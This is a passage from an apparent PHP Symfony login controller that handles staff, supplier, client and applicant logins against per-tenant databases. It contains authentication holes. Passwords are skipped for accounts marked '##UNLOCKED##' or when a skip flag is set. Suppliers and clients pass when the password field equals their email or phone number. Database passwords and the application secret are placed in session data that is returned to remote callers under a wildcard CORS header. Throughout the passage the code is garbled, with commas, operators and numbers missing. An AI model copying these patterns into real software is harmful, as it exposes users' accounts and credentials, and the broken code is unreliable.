  3796.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  3797.                             return new JsonResponse(array(
  3798.                                 'uid' => $session->get(UserConstants::USER_ID),
  3799.                                 'session' => $session,
  3800.                                 'success' => false,
  3801.                                 'errorStr' => $message,
  3802.                                 'session_data' => [],
  3803.                             ));
  3804.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  3805.                             //                    return $response;
  3806.                         }
  3807.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  3808.                             "message" => $message,
  3809.                             'page_title' => "Login",
  3810.                             'gocList' => $gocDataList,
  3811.                             'gocId' => $gocId
  3812.                         ));
  3813.                     }
  3814.                     if ($user) {
  3815.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  3816.                             $message "Sorry, Your Account is Deactivated";
  3817.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  3818.                                 return new JsonResponse(array(
  3819.                                     'uid' => $session->get(UserConstants::USER_ID),
  3820.                                     'session' => $session,
  3821.                                     'success' => false,
  3822.                                     'errorStr' => $message,
  3823.                                     'session_data' => [],
  3824.                                 ));
  3825.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  3826.                                 //                    return $response;
  3827.                             }
  3828.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  3829.                                 "message" => $message,
  3830.                                 'page_title' => "Login",
  3831.                                 'gocList' => $gocDataList,
  3832.                                 'gocId' => $gocId
  3833.                             ));
  3834.                         }
  3835.                     }
  3836.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  3837.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  3838.                         $message "Wrong Email/Password";
  3839.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  3840.                             return new JsonResponse(array(
  3841.                                 'uid' => $session->get(UserConstants::USER_ID),
  3842.                                 'session' => $session,
  3843.                                 'success' => false,
  3844.                                 'errorStr' => $message,
  3845.                                 'session_data' => [],
  3846.                             ));
  3847.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  3848.                             //                    return $response;
  3849.                         }
  3850.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  3851.                             "message" => $message,
  3852.                             'page_title' => "Login",
  3853.                             'gocList' => $gocDataList,
  3854.                             'gocId' => $gocId
  3855.                         ));
  3856.                     }
  3857.                 }
  3858.                 if ($user) {
  3859.                     //set cookie
  3860.                     if ($remember_me == 1)
  3861.                         $session->set('REMEMBERME'1);
  3862.                     else
  3863.                         $session->set('REMEMBERME'0);
  3864.                     $userType $user->getUserType();
  3865.                     // Entity User
  3866.                     $userId $user->getUserId();
  3867.                     $session->set(UserConstants::USER_ID$user->getUserId());
  3868.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  3869.                     $session->set('firstLogin'$firstLogin);
  3870.                     $session->set(UserConstants::USER_TYPE$userType);
  3871.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  3872.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  3873.                     $session->set('oAuthImage'$user->getOAuthImage());
  3874.                     $session->set(UserConstants::USER_NAME$user->getName());
  3875.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  3876.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  3877.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  3878.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  3879.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  3880.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  3881.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  3882.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  3883.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  3884.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  3885.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  3886.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  3887.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  3888.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  3889.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  3890.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  3891.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  3892.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  3893.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  3894.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  3895.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  3896.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  3897.                     $route_list_array = [];
  3898.                     //                    $loginID = $this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  3899.                     //                        $request->server->get("REMOTE_ADDR"), $PL[0]);
  3900.                     $loginID EntityUserM::addEntityUserLoginLog(
  3901.                         $em_goc,
  3902.                         $userId,
  3903.                         $request->server->get("REMOTE_ADDR"),
  3904.                         0,
  3905.                         $deviceId,
  3906.                         $oAuthData['token'],
  3907.                         $oAuthData['type']
  3908.                     );
  3909.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  3910.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  3911.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  3912.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  3913.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  3914.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  3915.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  3916.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  3917.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  3918.                     $appIdList json_decode($user->getUserAppIdList());
  3919.                     if ($appIdList == null)
  3920.                         $appIdList = [];
  3921.                     $companyIdListByAppId = [];
  3922.                     $companyNameListByAppId = [];
  3923.                     $companyImageListByAppId = [];
  3924.                     if (!in_array($user->getUserAppId(), $appIdList))
  3925.                         $appIdList[] = $user->getUserAppId();
  3926.                     foreach ($appIdList as $currAppId) {
  3927.                         if ($currAppId == $user->getUserAppId()) {
  3928.                             foreach ($company_id_list as $index_company => $company_id) {
  3929.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  3930.                                 $app_company_index $currAppId '_' $company_id;
  3931.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  3932.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  3933.                             }
  3934.                         } else {
  3935.                             $dataToConnect System::changeDoctrineManagerByAppId(
  3936.                                 $this->getDoctrine()->getManager('company_group'),
  3937.                                 $gocEnabled,
  3938.                                 $currAppId
  3939.                             );
  3940.                             if (!empty($dataToConnect)) {
  3941.                                 $connector $this->container->get('application_connector');
  3942.                                 $connector->resetConnection(
  3943.                                     'default',
  3944.                                     $dataToConnect['dbName'],
  3945.                                     $dataToConnect['dbUser'],
  3946.                                     $dataToConnect['dbPass'],
  3947.                                     $dataToConnect['dbHost'],
  3948.                                     $reset true
  3949.                                 );
  3950.                                 $em $this->getDoctrine()->getManager();
  3951.                                 $companyList Company::getCompanyListWithImage($em);
  3952.                                 foreach ($companyList as $c => $dta) {
  3953.                                     //                                $company_id_list[]=$c;
  3954.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  3955.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  3956.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  3957.                                     $app_company_index $currAppId '_' $c;
  3958.                                     $company_locale $companyList[$c]['locale'];
  3959.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  3960.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  3961.                                 }
  3962.                             }
  3963.                         }
  3964.                     }
  3965.                     $session->set('appIdList'$appIdList);
  3966.                     $session->set('companyIdListByAppId'$companyIdListByAppId);
  3967.                     $session->set('companyNameListByAppId'$companyNameListByAppId);
  3968.                     $session->set('companyImageListByAppId'$companyImageListByAppId);
  3969.                     $branchIdList json_decode($user->getUserBranchIdList());
  3970.                     $branchId $user->getUserBranchId();
  3971.                     $session->set('branchIdList'$branchIdList);
  3972.                     $session->set('branchId'$branchId);
  3973.                     if ($user->getAllModuleAccessFlag() == 1)
  3974.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  3975.                     else
  3976.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  3977.                     $session_data = array(
  3978.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  3979.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  3980.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  3981.                         'firstLogin' => $firstLogin,
  3982.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  3983.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  3984.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  3985.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  3986.                         'oAuthImage' => $session->get('oAuthImage'),
  3987.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  3988.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  3989.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  3990.                         UserConstants::USER_COMPANY_LOCALE => $session->get(UserConstants::USER_COMPANY_LOCALE),
  3991.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  3992.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  3993.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  3994.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  3995.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  3996.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  3997.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  3998.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  3999.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  4000.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  4001.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  4002.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  4003.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  4004.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  4005.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  4006.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  4007.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  4008.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  4009.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4010.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  4011.                         //new
  4012.                         'appIdList' => $session->get('appIdList'),
  4013.                         'branchIdList' => $session->get('branchIdList'null),
  4014.                         'branchId' => $session->get('branchId'null),
  4015.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  4016.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  4017.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  4018.                     );
  4019.                     $session_data $this->filterClientSessionData($session_data);
  4020.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  4021.                     $token $tokenData['token'];
  4022.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4023.                         $session->set('remoteVerified'1);
  4024.                         $response = new JsonResponse(array(
  4025.                             'token' => $token,
  4026.                             'uid' => $session->get(UserConstants::USER_ID),
  4027.                             'session' => $session,
  4028.                             'success' => true,
  4029.                             'session_data' => $session_data,
  4030.                         ));
  4031.                         $response->headers->set('Access-Control-Allow-Origin''*');
  4032.                         return $response;
  4033.                     }
  4034.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  4035.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  4036.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  4037.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  4038.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  4039.                                 return $this->redirect($red);
  4040.                             }
  4041.                         } else {
  4042.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  4043.                         }
  4044.                     } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  4045.                         return $this->redirectToRoute("dashboard");
  4046.                     else
  4047.                         return $this->redirectToRoute($user->getDefaultRoute());
  4048. //                    if ($request->server->has("HTTP_REFERER")) {
  4049. //                        if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != '') {
  4050. //                            return $this->redirect($request->server->get('HTTP_REFERER'));
  4051. //                        }
  4052. //                    }
  4053. //
  4054. //                    //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  4055. //                    if ($request->request->has('referer_path')) {
  4056. //                        if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  4057. //                            return $this->redirect($request->request->get('referer_path'));
  4058. //                        }
  4059. //                    }
  4060.                     //                    if($request->request->has('gocId')
  4061.                 }
  4062.             } else {
  4063.                 if ($specialLogin == 1) {
  4064.                 } else if (strpos($uname'SID-') !== false) {
  4065.                     $specialLogin 1;
  4066.                     $userType UserConstants::USER_TYPE_SUPPLIER;
  4067.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  4068.                     //*** supplier id will be last 6 DIgits
  4069.                     $str_app_id_supplier_id substr($uname4);
  4070.                     //                if((1*$str_app_id_supplier_id)>1000000)
  4071.                     {
  4072.                         $supplierId = ($str_app_id_supplier_id) % 1000000;
  4073.                         $appIdFromUserName = ($str_app_id_supplier_id) / 1000000;
  4074.                     }
  4075.                     //                else
  4076.                     //                {
  4077.                     //                    $supplierId = (1 * $str_app_id_supplier_id) ;
  4078.                     //                    $appIdFromUserName = (1 * $str_app_id_supplier_id) / 1000000;
  4079.                     //                }
  4080.                 } else if (strpos($uname'CID-') !== false) {
  4081.                     $specialLogin 1;
  4082.                     $userType UserConstants::USER_TYPE_CLIENT;
  4083.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  4084.                     //*** supplier id will be last 6 DIgits
  4085.                     $str_app_id_client_id substr($uname4);
  4086.                     $clientId = ($str_app_id_client_id) % 1000000;
  4087.                     $appIdFromUserName = ($str_app_id_client_id) / 1000000;
  4088.                 } else if ($oAuthData || strpos($uname'APP-') !== false || $applicantDirectLogin == 1) {
  4089.                     $specialLogin 1;
  4090.                     $userType UserConstants::USER_TYPE_APPLICANT;
  4091.                     $isApplicantLogin 1;
  4092.                     if ($oAuthData) {
  4093.                         $email $oAuthData['email'];
  4094.                         $userName $email;
  4095. //                        $userName = explode('@', $email)[0];
  4096. //                        $userName = str_split($userName);
  4097. //                        $userNameArr = $userName;
  4098.                     } else if (strpos($uname'APP-') !== false) {
  4099.                         $email $uname;
  4100.                         $userName substr($email4);
  4101. //                        $userNameArr = str_split($userName);
  4102. //                        $generatedIdFromAscii = 0;
  4103. //                        foreach ($userNameArr as $item) {
  4104. //                            $generatedIdFromAscii += ord($item);
  4105. //                        }
  4106. //
  4107. //                        $str_app_id_client_id = $generatedIdFromAscii;
  4108. //                        $applicantId = (1 * $str_app_id_client_id) % 1000000;
  4109. //                        $appIdFromUserName = (1 * $str_app_id_client_id) / 1000000;
  4110.                     } else {
  4111.                         $email $uname;
  4112.                         $userName $uname;
  4113. //                            $userName = substr($email, 4);
  4114. //                        $userName = explode('@', $email)[0];
  4115. //                            $userNameArr = str_split($userName);
  4116.                     }
  4117.                 }
  4118.                 $data = array();
  4119.                 if ($hasGoc == 1) {
  4120.                     if ($gocId != && $gocId != "") {
  4121. //                        $gocId = $request->request->get('gocId');
  4122.                         $gocDbName $gocDataList[$gocId]['dbName'];
  4123.                         $gocDbUser $gocDataList[$gocId]['dbUser'];
  4124.                         $gocDbPass $gocDataList[$gocId]['dbPass'];
  4125.                         $gocDbHost $gocDataList[$gocId]['dbHost'];
  4126.                         $appIdFromUserName $gocDataList[$gocId]['appId'];
  4127.                         $connector $this->container->get('application_connector');
  4128.                         $connector->resetConnection(
  4129.                             'default',
  4130.                             $gocDataList[$gocId]['dbName'],
  4131.                             $gocDataList[$gocId]['dbUser'],
  4132.                             $gocDataList[$gocId]['dbPass'],
  4133.                             $gocDataList[$gocId]['dbHost'],
  4134.                             $reset true
  4135.                         );
  4136.                     } else if ($appId != && $appId != "") {
  4137.                         $gocId $request->request->get('gocId');
  4138.                         $gocDbName $gocDataListByAppId[$appId]['dbName'];
  4139.                         $gocDbUser $gocDataListByAppId[$appId]['dbUser'];
  4140.                         $gocDbPass $gocDataListByAppId[$appId]['dbPass'];
  4141.                         $gocDbHost $gocDataListByAppId[$appId]['dbHost'];
  4142.                         $gocId $gocDataListByAppId[$appId]['id'];
  4143.                         $appIdFromUserName $gocDataListByAppId[$appId]['appId'];
  4144.                         $connector $this->container->get('application_connector');
  4145.                         $connector->resetConnection(
  4146.                             'default',
  4147.                             $gocDbName,
  4148.                             $gocDbUser,
  4149.                             $gocDbPass,
  4150.                             $gocDbHost,
  4151.                             $reset true
  4152.                         );
  4153.                     }
  4154.                 } else if ($specialLogin == && $appIdFromUserName != 0) {
  4155.                     $gocId = isset($gocDataListByAppId[$appIdFromUserName]) ? $gocDataListByAppId[$appIdFromUserName]['id'] : 0;
  4156.                     if ($gocId != && $gocId != "") {
  4157.                         $gocDbName $gocDataListByAppId[$appIdFromUserName]['dbName'];
  4158.                         $gocDbUser $gocDataListByAppId[$appIdFromUserName]['dbUser'];
  4159.                         $gocDbPass $gocDataListByAppId[$appIdFromUserName]['dbPass'];
  4160.                         $gocDbHost $gocDataListByAppId[$appIdFromUserName]['dbHost'];
  4161.                         $connector $this->container->get('application_connector');
  4162.                         $connector->resetConnection(
  4163.                             'default',
  4164.                             $gocDataListByAppId[$appIdFromUserName]['dbName'],
  4165.                             $gocDataListByAppId[$appIdFromUserName]['dbUser'],
  4166.                             $gocDataListByAppId[$appIdFromUserName]['dbPass'],
  4167.                             $gocDataListByAppId[$appIdFromUserName]['dbHost'],
  4168.                             $reset true
  4169.                         );
  4170.                     }
  4171.                 }
  4172.                 $session $request->getSession();
  4173.                 $em $this->getDoctrine()->getManager();
  4174.                 //will work on later on supplier login
  4175.                 if ($specialLogin == 1) {
  4176.                     if ($supplierId != || $userType == UserConstants::USER_TYPE_SUPPLIER) {
  4177.                         //validate supplier
  4178.                         $supplier $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSuppliers')
  4179.                             ->findOneBy(
  4180.                                 array(
  4181.                                     'supplierId' => $supplierId
  4182.                                 )
  4183.                             );
  4184.                         if (!$supplier) {
  4185.                             $message "Wrong UserName";
  4186.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4187.                                 return new JsonResponse(array(
  4188.                                     'uid' => $session->get(UserConstants::USER_ID),
  4189.                                     'session' => $session,
  4190.                                     'success' => false,
  4191.                                     'errorStr' => $message,
  4192.                                     'session_data' => [],
  4193.                                 ));
  4194.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4195.                                 //                    return $response;
  4196.                             }
  4197.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4198.                                 "message" => $message,
  4199.                                 'page_title' => "Login",
  4200.                                 'gocList' => $gocDataList,
  4201.                                 'gocId' => $gocId
  4202.                             ));
  4203.                         }
  4204.                         if ($supplier) {
  4205.                             if ($supplier->getStatus() == GeneralConstant::INACTIVE) {
  4206.                                 $message "Sorry, Your Account is Deactivated";
  4207.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4208.                                     return new JsonResponse(array(
  4209.                                         'uid' => $session->get(UserConstants::USER_ID),
  4210.                                         'session' => $session,
  4211.                                         'success' => false,
  4212.                                         'errorStr' => $message,
  4213.                                         'session_data' => [],
  4214.                                     ));
  4215.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4216.                                     //                    return $response;
  4217.                                 }
  4218.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4219.                                     "message" => $message,
  4220.                                     'page_title' => "Login",
  4221.                                     'gocList' => $gocDataList,
  4222.                                     'gocId' => $gocId
  4223.                                 ));
  4224.                             }
  4225.                             if ($supplier->getEmail() == $request->request->get('password') || $supplier->getContactNumber() == $request->request->get('password')) {
  4226.                                 //pass ok proceed
  4227.                             } else {
  4228.                                 if ($skipPassword == 1) {
  4229.                                 } else {
  4230.                                     $message "Wrong Email/Password";
  4231.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4232.                                         return new JsonResponse(array(
  4233.                                             'uid' => $session->get(UserConstants::USER_ID),
  4234.                                             'session' => $session,
  4235.                                             'success' => false,
  4236.                                             'errorStr' => $message,
  4237.                                             'session_data' => [],
  4238.                                         ));
  4239.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4240.                                         //                    return $response;
  4241.                                     }
  4242.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4243.                                         "message" => $message,
  4244.                                         'page_title' => "Login",
  4245.                                         'gocList' => $gocDataList,
  4246.                                         'gocId' => $gocId
  4247.                                     ));
  4248.                                 }
  4249.                             }
  4250.                             $jd = [$supplier->getCompanyId()];
  4251.                             if ($jd != null && $jd != '' && $jd != [])
  4252.                                 $company_id_list $jd;
  4253.                             else
  4254.                                 $company_id_list = [1];
  4255.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4256.                             foreach ($company_id_list as $c) {
  4257.                                 $company_name_list[$c] = $companyList[$c]['name'];
  4258.                                 $company_image_list[$c] = $companyList[$c]['image'];
  4259.                             }
  4260.                             $user $supplier;
  4261.                         }
  4262.                     } else if ($clientId != || $userType == UserConstants::USER_TYPE_CLIENT) {
  4263.                         //validate supplier
  4264.                         $client $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccClients')
  4265.                             ->findOneBy(
  4266.                                 array(
  4267.                                     'clientId' => $clientId
  4268.                                 )
  4269.                             );
  4270.                         if (!$client) {
  4271.                             $message "Wrong UserName";
  4272.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4273.                                 return new JsonResponse(array(
  4274.                                     'uid' => $session->get(UserConstants::USER_ID),
  4275.                                     'session' => $session,
  4276.                                     'success' => false,
  4277.                                     'errorStr' => $message,
  4278.                                     'session_data' => [],
  4279.                                 ));
  4280.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4281.                                 //                    return $response;
  4282.                             }
  4283.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4284.                                 "message" => $message,
  4285.                                 'page_title' => "Login",
  4286.                                 'gocList' => $gocDataList,
  4287.                                 'gocId' => $gocId
  4288.                             ));
  4289.                         }
  4290.                         if ($client) {
  4291.                             if ($client->getStatus() == GeneralConstant::INACTIVE) {
  4292.                                 $message "Sorry, Your Account is Deactivated";
  4293.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4294.                                     return new JsonResponse(array(
  4295.                                         'uid' => $session->get(UserConstants::USER_ID),
  4296.                                         'session' => $session,
  4297.                                         'success' => false,
  4298.                                         'errorStr' => $message,
  4299.                                         'session_data' => [],
  4300.                                     ));
  4301.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4302.                                     //                    return $response;
  4303.                                 }
  4304.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4305.                                     "message" => $message,
  4306.                                     'page_title' => "Login",
  4307.                                     'gocList' => $gocDataList,
  4308.                                     'gocId' => $gocId
  4309.                                 ));
  4310.                             }
  4311.                             if ($client->getEmail() == $request->request->get('password') || $client->getContactNumber() == $request->request->get('password')) {
  4312.                                 //pass ok proceed
  4313.                             } else {
  4314.                                 if ($skipPassword == 1) {
  4315.                                 } else {
  4316.                                     $message "Wrong Email/Password";
  4317.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4318.                                         return new JsonResponse(array(
  4319.                                             'uid' => $session->get(UserConstants::USER_ID),
  4320.                                             'session' => $session,
  4321.                                             'success' => false,
  4322.                                             'errorStr' => $message,
  4323.                                             'session_data' => [],
  4324.                                         ));
  4325.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4326.                                         //                    return $response;
  4327.                                     }
  4328.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4329.                                         "message" => $message,
  4330.                                         'page_title' => "Login",
  4331.                                         'gocList' => $gocDataList,
  4332.                                         'gocId' => $gocId
  4333.                                     ));
  4334.                                 }
  4335.                             }
  4336.                             $jd = [$client->getCompanyId()];
  4337.                             if ($jd != null && $jd != '' && $jd != [])
  4338.                                 $company_id_list $jd;
  4339.                             else
  4340.                                 $company_id_list = [1];
  4341.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4342.                             foreach ($company_id_list as $c) {
  4343.                                 $company_name_list[$c] = $companyList[$c]['name'];
  4344.                                 $company_image_list[$c] = $companyList[$c]['image'];
  4345.                             }
  4346.                             $user $client;
  4347.                         }
  4348.                     } else if ($applicantId != || $userType == UserConstants::USER_TYPE_APPLICANT) {
  4349.                         $em $this->getDoctrine()->getManager('company_group');
  4350.                         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  4351.                         if ($oAuthData) {
  4352.                             $oAuthEmail $oAuthData['email'];
  4353.                             $oAuthUniqueId $oAuthData['uniqueId'];
  4354.                             $user $applicantRepo->findOneBy(['email' => $oAuthEmail]);
  4355.                             if (!$user)
  4356.                                 $user $applicantRepo->findOneBy(['oAuthUniqueId' => $oAuthUniqueId]);
  4357.                         } else {
  4358.                             $user $applicantRepo->findOneBy(['username' => $userName]);
  4359.                             if (!$user)
  4360.                                 $user $applicantRepo->findOneBy(['email' => $email]);
  4361.                             if (!$user)
  4362.                                 $user $applicantRepo->findOneBy(['phone' => $email]);
  4363.                         }
  4364.                         $redirect_login_page_twig "@Authentication/pages/views/login_new.html.twig";
  4365. //                        if($systemType=='_BUDDYBEE_')
  4366. //                            $redirect_login_page_twig="@Authentication/pages/views/applicant_login.html.twig";
  4367.                         if (!$user) {
  4368.                             $message "We could not find your username or email";
  4369.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4370.                                 return new JsonResponse(array(
  4371.                                     'uid' => $session->get(UserConstants::USER_ID),
  4372.                                     'session' => $session,
  4373.                                     'success' => false,
  4374.                                     'errorStr' => $message,
  4375.                                     'session_data' => [],
  4376.                                 ));
  4377.                             }
  4378.                             if ($systemType == '_BUDDYBEE_')
  4379.                                 return $this->redirectToRoute("applicant_login", [
  4380.                                     "message" => $message,
  4381.                                     "errorField" => 'username',
  4382.                                 ]);
  4383.                             else if ($systemType == '_CENTRAL_')
  4384.                                 return $this->redirectToRoute("central_login", [
  4385.                                     "message" => $message,
  4386.                                     "errorField" => 'username',
  4387.                                 ]);
  4388.                             else if ($systemType == '_SOPHIA_')
  4389.                                 return $this->redirectToRoute("sophia_login", [
  4390.                                     "message" => $message,
  4391.                                     "errorField" => 'username',
  4392.                                 ]);
  4393.                             else
  4394.                                 return $this->render($redirect_login_page_twig, array(
  4395.                                     "message" => $message,
  4396.                                     'page_title' => "Login",
  4397.                                     'gocList' => $gocDataList,
  4398.                                     'gocId' => $gocId
  4399.                                 ));
  4400.                         }
  4401.                         if ($user) {
  4402.                             if ($oAuthData) {
  4403.                                 // user passed
  4404.                             } else {
  4405.                                 if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  4406.                                 } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  4407. //                                    if ($user->getPassword() == $request->request->get('password')) {
  4408. //                                        // user passed
